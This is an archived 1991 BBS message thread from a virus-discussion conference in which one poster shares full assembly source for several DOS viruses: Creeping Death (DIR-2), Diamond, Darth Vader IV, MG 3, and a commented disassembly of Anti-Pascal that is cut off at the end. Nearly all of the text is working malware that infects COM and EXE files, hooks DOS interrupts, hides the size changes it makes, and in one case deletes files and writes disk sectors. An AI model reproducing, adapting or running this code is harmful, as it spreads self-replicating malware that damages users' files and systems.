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Assembly Source File | 1991-12-02 | 58.8 KB | 1,993 lines

=========================================================================== BBS: The Programmer's Inn Date: 11-24-91 (19:52) Number: 3544 From: AHMED DOGAN Refer#: NONE To: ALL Recvd: NO Subj: DIR-2 Conf: (16) VIRUS --------------------------------------------------------------------------- ; Creeping Death V 1.0 ; ; (C) Copyright 1991 by VirusSoft Corp. i13org = 5f8h i21org = 5fch org 100h mov sp,600h inc counter xor cx,cx mov ds,cx lds ax,[0c1h] add ax,21h push ds push ax mov ah,30h call jump cmp al,4 sbb si,si mov drive+2,byte ptr -1 mov bx,60h mov ah,4ah call jump mov ah,52h call jump push es:[bx-2] lds bx,es:[bx] search: mov ax,[bx+si+15h] cmp ax,70h jne next xchg ax,cx mov [bx+si+18h],byte ptr -1 mov di,[bx+si+13h] mov [bx+si+13h],offset header mov [bx+si+15h],cs next: lds bx,[bx+si+19h] cmp bx,-1 jne search jcxz install pop ds mov ax,ds add ax,[3] inc ax mov dx,cs dec dx cmp ax,dx jne no_boot add [3],61h no_boot: mov ds,dx mov [1],8 mov ds,cx les ax,[di+6] mov cs:str_block,ax mov cs:int_block,es cld mov si,1 scan: dec si lodsw cmp ax,1effh jne scan mov ax,2cah cmp [si+4],ax je right cmp [si+5],ax jne scan right: lodsw push cs pop es mov di,offset modify+1 stosw xchg ax,si mov di,offset i13org cli movsw movsw mov dx,0c000h fdsk1: mov ds,dx xor si,si lodsw cmp ax,0aa55h jne fdsk4 cbw lodsb mov cl,9 sal ax,cl fdsk2: cmp [si],6c7h jne fdsk3 cmp [si+2],4ch jne fdsk3 push dx =========================================================================== BBS: The Programmer's Inn Date: 11-24-91 (19:52) Number: 3545 From: AHMED DOGAN Refer#: NONE To: ALL Recvd: NO Subj: DIR-2 <CONT> Conf: (16) VIRUS --------------------------------------------------------------------------- push [si+4] jmp short death install: int 20h file: db "c:",255,0 fdsk3: inc si cmp si,ax jb fdsk2 fdsk4: inc dx cmp dh,0f0h jb fdsk1 sub sp,4 death: push cs pop ds mov bx,[2ch] mov es,bx mov ah,49h call jump xor ax,ax test bx,bx jz boot mov di,1 seek: dec di scasw jne seek lea si,[di+2] jmp short exec boot: mov es,[16h] mov bx,es:[16h] dec bx xor si,si exec: push bx mov bx,offset param mov [bx+4],cs mov [bx+8],cs mov [bx+12],cs pop ds push cs pop es mov di,offset f_name push di mov cx,40 rep movsw push cs pop ds mov ah,3dh mov dx,offset file call jump pop dx mov ax,4b00h call jump mov ah,4dh call jump mov ah,4ch jump: pushf call dword ptr cs:[i21org] ret ;--------Installation complete i13pr: mov ah,3 jmp dword ptr cs:[i13org] main: push ax ; driver push cx ; strategy block push dx push ds push si push di push es pop ds mov al,[bx+2] cmp al,4 ; Input je input cmp al,8 je output cmp al,9 je output call in cmp al,2 ; Build BPB jne ppp ; lds si,[bx+12h] mov di,offset bpb_buf mov es:[bx+12h],di mov es:[bx+14h],cs push es push cs pop es <ORIGINAL MESSAGE OVER 100 LINES, SPLIT IN 2 OR MORE> =========================================================================== BBS: The Programmer's Inn Date: 11-24-91 (19:52) Number: 3546 From: AHMED DOGAN Refer#: NONE To: ALL Recvd: NO Subj: DIR-2 <CONT> Conf: (16) VIRUS --------------------------------------------------------------------------- mov cx,16 rep movsw pop es push cs pop ds mov al,[di+2-32] cmp al,2 adc al,0 cbw cmp [di+8-32],0 je m32 sub [di+8-32],ax jmp short ppp m32: sub [di+15h-32],ax sbb [di+17h-32],0 ppp: pop di pop si pop ds pop dx pop cx pop ax rts: retf output: mov cx,0ff09h call check jz inf_sec call in jmp short inf_dsk inf_sec: jmp _inf_sec read: jmp _read read_: add sp,16 jmp short ppp input: call check jz read inf_dsk: mov byte ptr [bx+2],4 cld lea si,[bx+0eh] mov cx,8 save: lodsw push ax loop save mov [bx+14h],1 call driver jnz read_ mov byte ptr [bx+2],2 call in lds si,[bx+12h] mov ax,[si+6] add ax,15 mov cl,4 shr ax,cl mov di,[si+0bh] add di,di stc adc di,ax push di cwd mov ax,[si+8] test ax,ax jnz more mov ax,[si+15h] mov dx,[si+17h] more: xor cx,cx sub ax,di sbb dx,cx mov cl,[si+2] div cx cmp cl,2 sbb ax,-1 push ax call convert mov byte ptr es:[bx+2],4 mov es:[bx+14h],ax call driver again: lds si,es:[bx+0eh] add si,dx sub dh,cl adc dx,ax mov cs:gad+1,dx cmp cl,1 je small mov ax,[si] and ax,di cmp ax,0fff7h je bad cmp ax,0ff7h je bad cmp ax,0ff70h jne ok bad: pop ax dec ax push ax call convert jmp short again <ORIGINAL MESSAGE OVER 100 LINES, SPLIT IN 2 OR MORE> =========================================================================== BBS: The Programmer's Inn Date: 11-24-91 (19:52) Number: 3547 From: AHMED DOGAN Refer#: NONE To: ALL Recvd: NO Subj: DIR-2 <CONT> Conf: (16) VIRUS --------------------------------------------------------------------------- small: not di and [si],di pop ax push ax inc ax push ax mov dx,0fh test di,dx jz here inc dx mul dx here: or [si],ax pop ax call convert mov si,es:[bx+0eh] add si,dx mov ax,[si] and ax,di ok: mov dx,di dec dx and dx,di not di and [si],di or [si],dx cmp ax,dx pop ax pop di mov cs:pointer+1,ax je _read_ mov dx,[si] push ds push si call write pop si pop ds jnz _read_ call driver cmp [si],dx jne _read_ dec ax dec ax mul cx add ax,di adc dx,0 push es pop ds mov [bx+12h],2 mov [bx+14h],ax test dx,dx jz less mov [bx+14h],-1 mov [bx+1ah],ax mov [bx+1ch],dx less: mov [bx+10h],cs mov [bx+0eh],100h call write _read_: std lea di,[bx+1ch] mov cx,8 load: pop ax stosw loop load _read: call in mov cx,9 _inf_sec: mov di,es:[bx+12h] lds si,es:[bx+0eh] sal di,cl xor cl,cl add di,si xor dl,dl push ds push si call find jcxz no_inf call write and es:[bx+4],byte ptr 07fh no_inf: pop si pop ds inc dx call find jmp ppp ;--------Subroutines find: mov ax,[si+8] cmp ax,"XE" jne com cmp [si+10],al je found com: cmp ax,"OC" jne go_on cmp byte ptr [si+10],"M" jne go_on <ORIGINAL MESSAGE OVER 100 LINES, SPLIT IN 2 OR MORE> =========================================================================== BBS: The Programmer's Inn Date: 11-24-91 (19:52) Number: 3548 From: AHMED DOGAN Refer#: NONE To: ALL Recvd: NO Subj: DIR-2 <CONT> Conf: (16) VIRUS --------------------------------------------------------------------------- found: test [si+1eh],0ffc0h ; >4MB jnz go_on test [si+1dh],03ff8h ; <2048B jz go_on test [si+0bh],byte ptr 1ch jnz go_on test dl,dl jnz rest pointer: mov ax,1234h cmp ax,[si+1ah] je go_on xchg ax,[si+1ah] gad: xor ax,1234h mov [si+14h],ax loop go_on rest: xor ax,ax xchg ax,[si+14h] xor ax,cs:gad+1 mov [si+1ah],ax go_on: ;rol cs:gad+1,1 db 2eh,0d1h,6 dw offset gad+1 add si,32 cmp di,si jne find ret check: mov ah,[bx+1] drive: cmp ah,-1 mov cs:[drive+2],ah jne changed push [bx+0eh] mov byte ptr [bx+2],1 call in cmp byte ptr [bx+0eh],1 pop [bx+0eh] mov [bx+2],al changed: ret write: cmp byte ptr es:[bx+2],8 jae in mov byte ptr es:[bx+2],4 mov si,70h mov ds,si modify: mov si,1234h push [si] push [si+2] mov [si],offset i13pr mov [si+2],cs call in pop [si+2] pop [si] ret driver: mov es:[bx+12h],1 in: db 09ah str_block: dw ?,70h db 09ah int_block: dw ?,70h test es:[bx+4],byte ptr 80h ret convert: cmp ax,0ff0h jae fat_16 mov si,3 xor cs:[si+gad-1],si mul si shr ax,1 mov di,0fffh jnc cont mov di,0fff0h jmp short cont fat_16: mov si,2 mul si mov di,0ffffh cont: mov si,512 div si header: inc ax ret counter: dw 0 dw 842h dw offset main dw offset rts db 7fh param: dw 0,80h,?,5ch,?,6ch,? bpb_buf: db 32 dup(?) f_name: db 80 dup(?) ;--------The End. <ORIGINAL MESSAGE OVER 100 LINES, SPLIT IN 2 OR MORE> =========================================================================== BBS: The Programmer's Inn Date: 11-24-91 (19:52) Number: 3549 From: AHMED DOGAN Refer#: NONE To: ALL Recvd: NO Subj: DIR-2 <CONT> Conf: (16) VIRUS --------------------------------------------------------------------------- --- ■ RonMail 1.0 ■ Programmer's Inn - Home of FeatherNet (619)-446-4506 =========================================================================== BBS: The Programmer's Inn Date: 11-24-91 (20:00) Number: 3550 From: AHMED DOGAN Refer#: NONE To: ALL Recvd: NO Subj: DIAMOND Conf: (16) VIRUS --------------------------------------------------------------------------- ; The Diamond Virus ; ; Version 2.10 ; ; also known as: ; V1024, V651, The EGN Virus ; ; Basic release: 5-Aug-1989 ; Last patch: 5-May-1990 ; ; COPYRIGHT: ; ; This program is (c) Copyright 1989,1990 Damage, Inc. ; Permission is granted to distribute this source provided the tittle page is ; preserved. ; Any fee can be charged for distribution of this source, however, Damage, Inc. ; distributes it freely. ; You are specially prohibited to use this program for military purposes. ; Damage, Inc. is not liable for any kind of damages resulting from the use of ; or the inability to use this software. ; ; To assemble this program use Turbo Assembler 1.0 .radix 16 .model tiny .code code_len = top_code-main_entry data_len = top_data-top_code main_entry: call locate_address gen_count dw 0 locate_address: xchg ax,bp cld pop bx inc word ptr cs:[bx] mov ax,0d5aa int 21 cmp ax,2a03 jz all_done mov ax,sp inc ax mov cl,4 shr ax,cl inc ax mov dx,ss add ax,dx mov dx,ds dec dx mov es,dx xor di,di mov cx,(top_data-main_entry-1)/10+1 mov dx,[di+2] sub dx,cx cmp dx,ax jc all_done cli sub es:[di+3],cx mov [di+2],dx mov es,dx lea si,[bx+main_entry-gen_count] mov cx,top_code-main_entry rep db 2e movsb push ds mov ds,cx mov si,20 lea di,[di+old_vector-top_code] org $-1 mov ax,offset dos_handler xchg ax,[si+64] stosw mov ax,es xchg ax,[si+66] stosw mov ax,offset time_handler xchg ax,[si] stosw xchg ax,dx xchg ax,[si+2] stosw mov ax,24 stosw pop ds push ds pop es sti all_done: lea si,[bx+exe_header-gen_count] db 2e lodsw cmp ax,'ZM' jz exit_exe =========================================================================== BBS: The Programmer's Inn Date: 11-24-91 (20:00) Number: 3551 From: AHMED DOGAN Refer#: NONE To: ALL Recvd: NO Subj: DIAMOND <CONT> Conf: (16) VIRUS --------------------------------------------------------------------------- mov di,100 push di stosw movsb xchg ax,bp ret exit_exe: mov dx,ds add dx,10 add cs:[si+return_address+2-exe_header-2],dx org $-1 add dx,cs:[si+stack_offset+2-exe_header-2] org $-1 mov ss,dx mov sp,cs:[si+stack_offset-exe_header-2] org $-1 xchg ax,bp jmp dword ptr cs:[si+return_address-exe_header-2] org $-1 infect: mov dx,offset exe_header mov cx,top_header-exe_header mov ah,3f int 21 jc do_exit sub cx,ax jnz go_error mov di,offset exe_header les ax,[di+ss_offset-exe_header] org $-1 mov [di+stack_offset-exe_header],es org $-1 mov [di+stack_offset+2-exe_header],ax org $-1 les ax,[di+ip_offset-exe_header] org $-1 mov [di+return_address-exe_header],ax org $-1 mov [di+return_address+2-exe_header],es org $-1 mov dx,cx mov ax,4202 int 21 jc do_exit mov [di+file_size-exe_header],ax org $-1 mov [di+file_size+2-exe_header],dx org $-1 mov cx,code_len cmp ax,cx sbb dx,0 jc do_exit xor dx,dx mov si,'ZM' cmp si,[di] jz do_put_image cmp [di],'MZ' jz do_put_image cmp ax,0fe00-code_len jc put_image go_error: stc do_exit: ret do_put_image: cmp dx,[di+max_size-exe_header] org $-1 jz go_error mov [di],si put_image: mov ah,40 int 21 jc do_exit sub cx,ax jnz go_error mov dx,cx mov ax,4200 int 21 jc do_exit mov ax,[di+file_size-exe_header] org $-1 cmp [di],'ZM' jnz com_file mov dx,[di+file_size-exe_header+2] org $-1 mov cx,4 push di mov si,[di+header_size-exe_header] org $-1 xor di,di shift_size: shl si,1 rcl di,1 loop shift_size sub ax,si sbb dx,di <ORIGINAL MESSAGE OVER 100 LINES, SPLIT IN 2 OR MORE> =========================================================================== BBS: The Programmer's Inn Date: 11-24-91 (20:00) Number: 3552 From: AHMED DOGAN Refer#: NONE To: ALL Recvd: NO Subj: DIAMOND <CONT> Conf: (16) VIRUS --------------------------------------------------------------------------- pop di mov cl,0c shl dx,cl mov [di+ip_offset-exe_header],ax org $-1 mov [di+cs_offset-exe_header],dx org $-1 add dx,(code_len+data_len+100-1)/10+1 org $-1 mov [di+sp_offset-exe_header],ax org $-1 mov [di+ss_offset-exe_header],dx org $-1 add word ptr [di+min_size-exe_header],(data_len+100-1)/10+1 org $-2 mov ax,[di+min_size-exe_header] org $-1 cmp ax,[di+max_size-exe_header] org $-1 jc adjust_size mov [di+max_size-exe_header],ax org $-1 adjust_size: mov ax,[di+last_page-exe_header] org $-1 add ax,code_len push ax and ah,1 mov [di+last_page-exe_header],ax org $-1 pop ax mov cl,9 shr ax,cl add [di+page_count-exe_header],ax org $-1 jmp short put_header com_file: sub ax,3 mov byte ptr [di],0e9 mov [di+1],ax put_header: mov dx,offset exe_header mov cx,top_header-exe_header mov ah,40 int 21 jc error cmp ax,cx jz reset error: stc reset: ret find_file: pushf push cs call calldos test al,al jnz cant_find push ax push bx push es mov ah,51 int 21 mov es,bx cmp bx,es:[16] jnz not_infected mov bx,dx mov al,[bx] push ax mov ah,2f int 21 pop ax inc al jnz fcb_standard add bx,7 fcb_standard: mov ax,es:[bx+17] and ax,1f xor al,1e jnz not_infected and byte ptr es:[bx+17],0e0 sub es:[bx+1dh],code_len sbb es:[bx+1f],ax not_infected: pop es pop bx pop ax cant_find: iret dos_handler: cmp ah,4bh jz exec cmp ah,11 jz find_file cmp ah,12 jz find_file <ORIGINAL MESSAGE OVER 100 LINES, SPLIT IN 2 OR MORE> =========================================================================== BBS: The Programmer's Inn Date: 11-24-91 (20:00) Number: 3553 From: AHMED DOGAN Refer#: NONE To: ALL Recvd: NO Subj: DIAMOND <CONT> Conf: (16) VIRUS --------------------------------------------------------------------------- cmp ax,0d5aa jnz calldos not ax fail: mov al,3 iret exec: cmp al,2 jnc calldos push ds push es push ax push bx push cx push dx push si push di mov ax,3524 int 21 push es push bx mov ah,25 push ax push ds push dx push cs pop ds mov dx,offset fail int 21 pop dx pop ds mov ax,4300 int 21 jc exit test cl,1 jz open dec cx mov ax,4301 int 21 open: mov ax,3d02 int 21 jc exit xchg ax,bx mov ax,5700 int 21 jc close mov al,cl or cl,1f dec cx xor al,cl jz close push cs pop ds push cx push dx call infect pop dx pop cx jc close mov ax,5701 int 21 close: mov ah,3e int 21 exit: pop ax pop dx pop ds int 21 pop di pop si pop dx pop cx pop bx pop ax pop es pop ds calldos: jmp cs:[old_vector] .radix 10 adrtbl dw 1680,1838,1840,1842,1996,1998,2000,2002,2004,2154,2156 dw 2158,2160,2162,2164,2166,2316,2318,2320,2322,2324,2478 dw 2480,2482,2640 diftbl dw -324,-322,-156,158,-318,-316,318,156,162,316,164,-322 dw -162,-322,322,322,-324,-158,164,316,-324,324,-316,-164 dw 324 valtbl dw 3332,3076,3076,3076,3588,3588,3588,3588,3588,3844,3844 dw 3844,3844,3844,3844,3844,2564,2564,2564,2564,2564,2820 dw 2820,2820,2308 xlatbl dw <ORIGINAL MESSAGE OVER 100 LINES, SPLIT IN 2 OR MORE> =========================================================================== BBS: The Programmer's Inn Date: 11-24-91 (20:00) Number: 3554 From: AHMED DOGAN Refer#: NONE To: ALL Recvd: NO Subj: DIAMOND <CONT> Conf: (16) VIRUS --------------------------------------------------------------------------- -324,316,-164,156,-322,318,-162,158,-318,322,-158,162 dw -316,324,-156,164 .radix 16 time_handler: push ds push es push ax push bx push cx push dx push si push di push cs pop ds cld mov dx,3da mov cx,19 mov si,offset count mov ax,[si] test ah,ah jnz make_move mov al,ah mov es,ax cmp al,es:[46dh] jnz exit_timer mov ah,0f int 10 cmp al,2 jz init_diamond cmp al,3 jnz exit_timer init_diamond: inc byte ptr [si+1] sub bl,bl add bh,0b8 mov [si+2],bx mov es,bx wait_snow: in al,dx test al,8 jz wait_snow mov si,offset valtbl build_diamond: mov di,[si+adrtbl-valtbl] movsw loop build_diamond exit_timer: pop di pop si pop dx pop cx pop bx pop ax pop es pop ds jmp cs:[old_timer] count_down: dec byte ptr [si] jmp exit_timer make_move: test al,al jnz count_down inc byte ptr [si] mov si,offset adrtbl make_step: push cx push cs pop es lodsw mov bx,ax sub ax,140 cmp ax,0d20 jc no_xlat test ax,ax mov ax,[si+diftbl-adrtbl-2] jns test_xlat test ax,ax js do_xlat jmp short no_xlat test_xlat: test ax,ax js no_xlat do_xlat: mov di,offset xlatbl mov cx,10 repnz scasw dec di dec di xor di,2 mov ax,[di] mov [si+diftbl-adrtbl-2],ax no_xlat: mov ax,[si-2] add ax,[si+diftbl-adrtbl-2] mov [si-2],ax mov cx,19 mov di,offset adrtbl <ORIGINAL MESSAGE OVER 100 LINES, SPLIT IN 2 OR MORE> =========================================================================== BBS: The Programmer's Inn Date: 11-24-91 (20:00) Number: 3555 From: AHMED DOGAN Refer#: NONE To: ALL Recvd: NO Subj: DIAMOND <CONT> Conf: (16) VIRUS --------------------------------------------------------------------------- lookup: jcxz looked_up repnz scasw jnz looked_up cmp si,di jz lookup mov [si-2],bx mov ax,[si+diftbl-adrtbl-2] xchg ax,[di+diftbl-adrtbl-2] mov [si+diftbl-adrtbl-2],ax jmp lookup looked_up: mov es,[homeadr] mov di,bx xor bx,bx call out_char mov di,[si-2] mov bx,[si+valtbl-adrtbl-2] call out_char pop cx loop make_step jmp exit_timer out_char: in al,dx test al,1 jnz out_char check_snow: in al,dx test al,1 jz check_snow xchg ax,bx stosw ret stack_offset dd ? return_address dd ? db '7106286813' exe_header: int 20 last_page: nop top_code: db ? page_count dw ? dw ? header_size dw ? min_size dw ? max_size dw ? ss_offset dw ? sp_offset dw ? dw ? ip_offset dw ? cs_offset dw ? top_header: file_size dd ? old_vector dd ? old_timer dd ? count db ? flag db ? homeadr dw ? top_data: end --- ■ RonMail 1.0 ■ Programmer's Inn - Home of FeatherNet (619)-446-4506 =========================================================================== BBS: The Programmer's Inn Date: 11-24-91 (20:06) Number: 3556 From: AHMED DOGAN Refer#: NONE To: ALL Recvd: NO Subj: DARTH VADER Conf: (16) VIRUS --------------------------------------------------------------------------- ;********************************************************************* ********** ;* * ;* D A R T H V A D E R IV * ;* * ;* (C) - Copyright 1991 by Waleri Todorov, CICTT-Sofia * ;* All Rights Reserved * ;* & ;* Enchanced by: Lazy Wizard & ;* & ;* Turbo Assembler 2.0 & ;* & ;********************************************************************* ********** .model tiny .code org 100h Start: call NextLine First3: int 20h int 3 NextLine: pop bx push ax xor di,di mov es,di mov es,es:[2Bh*4+2] mov cx,1000h call SearchZero jc ReturnControl xchg ax,si inc si SearchTable: dec si db 26h lodsw cmp ax,8B2Eh jne SearchTable db 26h lodsb cmp al,75h je ReturnControl cmp al,9Fh jne SearchTable mov si,es:[si] mov cx,LastByte-Start lea ax,[di+Handle-Start] org $-1 xchg ax,es:[si+80h] sub ax,di sub ax,cx mov [bx+OldWrite-Start-2],ax mov word ptr [bx+NewStart+1-Start-3],di lea si,[bx-3] rep movsb ReturnControl: pop ax push ss pop es mov di,100h lea si,[bx+First3-Start-3] push di movsw movsb ret SearchZero: xor ax,ax inc di push cx push di mov cx,(LastByte-Start-1)/2+1 repe scasw pop di pop cx je FoundPlace loop SearchZero stc FoundPlace: ret Handle: push bp call NextHandle NextHandle: =========================================================================== BBS: The Programmer's Inn Date: 11-24-91 (20:06) Number: 3557 From: AHMED DOGAN Refer#: NONE To: ALL Recvd: NO Subj: DARTH VADER <CONT> Conf: (16) VIRUS --------------------------------------------------------------------------- pop bp push es push ax push bx push cx push si push di test ch,ch je Do mov ax,1220h int 2Fh mov bl,es:[di] mov ax,1216h int 2Fh cmp es:[di+29h],'MO' jne Do cmp word ptr es:[di+15h],0 jne Do push ds pop es mov di,dx mov ax,[di] mov [bp+First3-NextHandle],ax mov al,[di+2] mov [bp+First3+2-NextHandle],al call SearchZero jc Do push di NewStart: mov si,0 mov cx,(LastByte-Start-1)/2 cli rep db 36h movsw sti mov di,dx mov al,0E9h stosb pop ax sub ax,di dec ax dec ax stosw Do: pop di pop si pop cx pop bx pop ax pop es pop bp OldWrite: jmp start LastByte label byte end Start --- ■ RonMail 1.0 ■ Programmer's Inn - Home of FeatherNet (619)-446-4506 =========================================================================== BBS: The Programmer's Inn Date: 11-24-91 (20:07) Number: 3558 From: AHMED DOGAN Refer#: NONE To: ALL Recvd: NO Subj: MG 3 Conf: (16) VIRUS --------------------------------------------------------------------------- ; (C) Copyright VirusSoft Corp. Sep., 1990 ; ; This is the SOURCE file of last version of MASTER,(V500),(MG) ect. ; virus, distributed by VirusSoft company . First version was made ; in May., 1990 . Please don't make any corections in this file ! ; ; Bulgaria, Varna ; Sep. 27, 1990 ofs = 201h len = offset end-ofs call $+6 org ofs first: dw 020cdh db 0 pop di dec di dec di mov si,[di] dec di add si,di push cs push di cld movsw movsb xchg ax,dx mov ax,4b04h int 21h jnc residnt xor ax,ax mov es,ax mov di,ofs+3 mov cx,len-3 rep movsb les di,[6] mov al,0eah dec cx repne scasb les di,es:[di] ; Searching for the INT21 vector sub di,-1ah-7 db 0eah dw offset jump,0 ; jmp far 0000:jump jump: push es pop ds mov si,[di+3-7] ; lodsb ; cmp al,68h ; compare DOS Ver mov [di+4-7],al ; Change CMP AH,CS:[????] mov [di+2-7],0fc80h ; mov [di-7],0fccdh ; push cs pop ds mov [1020],di ; int 0ffh mov [1022],es mov beg-1,byte ptr not3_3-beg jb not3.3 ; CY = 0 --> DOS Ver > or = 3.30 mov beg-1,byte ptr 0 mov [7b4h],offset pr7b4 mov [7b6h],cs ; 7b4 not3.3: mov al,0a9h ; Change attrib cont: repne scasb cmp es:[di],0ffd8h jne cont mov al,18h stosb push ss pop ds push ss pop es residnt: xchg ax,dx retf ; ret far ;--------Interrupt process--------; i21pr: push ax push dx push ds push cx push bx =========================================================================== BBS: The Programmer's Inn Date: 11-24-91 (20:07) Number: 3559 From: AHMED DOGAN Refer#: NONE To: ALL Recvd: NO Subj: MG 3 <CONT> Conf: (16) VIRUS --------------------------------------------------------------------------- push es if4b04: cmp ax,4b04h je rti xchg ax,cx mov ah,02fh int 0ffh if11_12: cmp ch,11h je yes cmp ch,12h jne inffn yes: xchg ax,cx int 0ffh push ax test es:byte ptr [bx+19],0c0h jz normal sub es:[bx+36],len normal: pop ax rti: pop es pop bx pop cx add sp,12 iret inffn: mov ah,19h int 0ffh push ax if36: cmp ch,36h ; -free bytes je beg_36 if4e: cmp ch,4eh ; -find first FM je beg_4b if4b: cmp ch,4bh ; -exec je beg_4b if47: cmp ch,47h ; -directory info jne if5b cmp al,2 jae begin ; it's hard-disk if5b: cmp ch,5bh ; -create new je beg_4b if3c_3d: shr ch,1 ; > -open & create cmp ch,1eh ; - je beg_4b jmp rest beg_4b: mov ax,121ah xchg dx,si int 2fh xchg ax,dx xchg ax,si beg_36: mov ah,0eh ; change current drive dec dx ; int 0ffh ; begin: push es ; save DTA address push bx ; sub sp,44 mov dx,sp ; change DTA push sp mov ah,1ah push ss pop ds int 0ffh mov bx,dx push cs pop ds mov ah,04eh mov dx,offset file mov cx,3 ; r/o , hidden int 0ffh ; int 21h jc lst next: test ss:[bx+21],byte ptr 80h jz true nxt: mov ah,4fh ; find next int 0ffh jnc next lst: jmp last true: cmp ss:[bx+27],byte ptr 0fdh ja nxt mov [144],offset i24pr mov [146],cs les ax,[4ch] ; int 13h mov i13adr,ax mov i13adr+2,es jmp short $ beg: mov [4ch],offset i13pr mov [4eh],cs <ORIGINAL MESSAGE OVER 100 LINES, SPLIT IN 2 OR MORE> =========================================================================== BBS: The Programmer's Inn Date: 11-24-91 (20:07) Number: 3560 From: AHMED DOGAN Refer#: NONE To: ALL Recvd: NO Subj: MG 3 <CONT> Conf: (16) VIRUS --------------------------------------------------------------------------- ; not3_3: push ss pop ds push [bx+22] ; time + push [bx+24] ; date + push [bx+21] ; attrib + lea dx,[bx+30] ; ds : dx = offset file name mov ax,4301h ; Change attrib !!! pop cx and cx,0feh ; clear r/o and CH or cl,0c0h ; set Infect. attr int 0ffh mov ax,03d02h ; open int 0ffh ; int 21h xchg ax,bx push cs pop ds mov ah,03fh mov cx,3 mov dx,offset first int 0ffh mov ax,04202h ; move fp to EOF xor dx,dx mov cx,dx int 0ffh mov word ptr cal_ofs+1,ax mov ah,040h mov cx,len mov dx,ofs int 0ffh jc not_inf mov ax,04200h xor dx,dx mov cx,dx int 0ffh mov ah,040h mov cx,3 mov dx,offset cal_ofs int 0ffh not_inf: mov ax,05701h pop dx ; date pop cx ; time int 0ffh mov ah,03eh ; close int 0ffh les ax,dword ptr i13adr mov [4ch],ax ; int 13h mov [4eh],es last: add sp,46 pop dx pop ds ; restore DTA mov ah,1ah int 0ffh rest: pop dx ; restore current drive mov ah,0eh ; int 0ffh ; pop es pop bx pop cx pop ds pop dx pop ax i21cl: iret ; Return from INT FC i24pr: mov al,3 ; Critical errors iret i13pr: cmp ah,3 jne no inc byte ptr cs:activ dec ah no: jmp dword ptr cs:i13adr pr7b4: db 2eh,0d0h,2eh dw offset activ ; shr cs:activ,1 jnc ex7b0 inc ah ex7b0: jmp dword ptr cs:[7b0h] ;-------- file: db "*",32,".COM" <ORIGINAL MESSAGE OVER 100 LINES, SPLIT IN 2 OR MORE> =========================================================================== BBS: The Programmer's Inn Date: 11-24-91 (20:07) Number: 3561 From: AHMED DOGAN Refer#: NONE To: ALL Recvd: NO Subj: MG 3 <CONT> Conf: (16) VIRUS --------------------------------------------------------------------------- activ: db 0 dw offset i21pr ; int 0fch dw 0 cal_ofs: db 0e8h end: dw ? ; cal_ofs i13adr: dw ? dw ? ; The End.--- * Origin: ESaSS / Thunderbyte support, The Netherlands (2:280/200) --- ■ RonMail 1.0 ■ Programmer's Inn - Home of FeatherNet (619)-446-4506 =========================================================================== BBS: The Programmer's Inn Date: 11-24-91 (20:08) Number: 3562 From: AHMED DOGAN Refer#: NONE To: ALL Recvd: NO Subj: ANTI PASCAL Conf: (16) VIRUS --------------------------------------------------------------------------- page ,132 name AP400 title The 'Anti-Pascal' virus, version AP-400 .radix 16 ; ...................................................................... ...... ; . Bulgaria, 1404 Sofia, kv. "Emil Markov", bl. 26, vh. "W", et. 5, ap. 51 . ; . Telephone: Private: +359-2-586261, Office: +359-2-71401 ext. 255 . ; . . ; . The 'Anti-Pascal' Virus, version AP-400 . ; . Disassembled by Vesselin Bontchev, July 1990 . ; . . ; . Copyright (c) Vesselin Bontchev 1989, 1990 . ; . . ; . This listing is only to be made available to virus researchers . ; . or software writers on a need-to-know basis. . ; ...................................................................... ...... ; The disassembly has been tested by re-assembly using MASM 5.0. code segment assume cs:code, ds:code org 100 v_const = 2042d start: jmp v_entry db 0CA ; Virus signature db (2048d - 9) dup (90) ; The original "program" mov ax,4C00 ; Just exit int 21 v_start label byte first4 db 0E9, 0F8, 7, 90 allcom db '*.COM', 0 mydta label byte reserve db 15 dup (?) attrib db ? time dw ? date dw ? fsize dd ? namez db 14d dup (?) allp db 0, '?????????A?' maxdrv db ? sign db 'PAD' v_entry: push ax ; Save AX & DX push dx mov ah,19 ; Get the default drive int 21 push ax ; Save it on stack mov ah,0E ; Set it as default (?!) mov dl,al int 21 ; Do it call self ; Determine the virus' start address self: pop si sub si,offset self-v_const ; Save the number of logical drives in the system: mov byte ptr [si+offset maxdrv-v_const],al ; Restore the first 4 bytes of the infected program: mov ax,[si+offset first4-v_const] mov word ptr ds:[offset start],ax mov ax,[si+offset first4+2-v_const] mov word ptr ds:[offset start+2],ax mov ah,1A ; Set new DTA lea dx,[si+offset mydta-v_const] int 21 ; Do it =========================================================================== BBS: The Programmer's Inn Date: 11-24-91 (20:08) Number: 3563 From: AHMED DOGAN Refer#: NONE To: ALL Recvd: NO Subj: ANTI PASCAL <CONT> Conf: (16) VIRUS --------------------------------------------------------------------------- pop ax ; Restore current drive in AL push ax ; Keep it on stack call inf_drive ; Proceed with the current drive xor al,al ; For all logical drives in the system drv_lp: call inf_drive ; Proceed with drive jbe drv_lp ; Loop until no more drives pop ax ; Restore the saved current drive mov ah,0E ; Set it as current drive mov dl,al int 21 ; Do it mov dx,80 ; Restore original DTA mov ah,1A int 21 ; Do it mov si,offset start pop dx ; Restore DX & AX pop ax jmp si ; Run the original program inf_drive: push ax ; Save the selected drive number on stack mov ah,0E ; Select that drive mov dl,al int 21 ; Do ti pop ax ; Restore AX push ax ; Save the registers used push bx push cx push si ; Save SI mov cx,1 ; Read sector #50 of the drive specified mov dx,50d lea bx,[si+offset v_end-v_const] push ax ; Save AX push bx ; Save BX, CX & DX also push cx push dx int 25 ; Do read pop dx ; Clear the stack pop dx ; Restore saved DX, CX & BX pop cx pop bx jnc wr_drive ; Write the information back if no error pop ax ; Restore AX pop si ; Restore SI drv_xit: pop cx ; Restore used registers pop bx pop ax inc al ; Go to next drive number cmp al,[si+offset maxdrv-v_const] ; See if there are more drives xit: ret ; Exit wr_drive: pop ax ; Restore drive number in AL int 26 ; Do write pop ax ; Clear the stack pop si ; Restore Si jnc cont ; Continue if no error clc jmp drv_xit ; Otherwise exit ; Find first COM file on the current directory of the selected drive: cont: mov ah,4E xor cx,cx ; Normal files only lea dx,[si+offset allcom-v_const] ; File mask next: int 21 ; Do find jc no_more ; Quit search if no more such files lea dx,[si+offset namez-v_const] ; Get file name found call infect ; Infect that file mov ah,4F ; Prepare for FindNext jc next ; If infection not successful, go to next file jmp drv_xit ; Otherwise quit no_more: mov ah,13 ; Delete all *.P* files in that dir <ORIGINAL MESSAGE OVER 100 LINES, SPLIT IN 2 OR MORE> =========================================================================== BBS: The Programmer's Inn Date: 11-24-91 (20:08) Number: 3564 From: AHMED DOGAN Refer#: NONE To: ALL Recvd: NO Subj: ANTI PASCAL <CONT> Conf: (16) VIRUS --------------------------------------------------------------------------- lea dx,[si+offset allp-v_const] int 21 ; Do it clc jmp 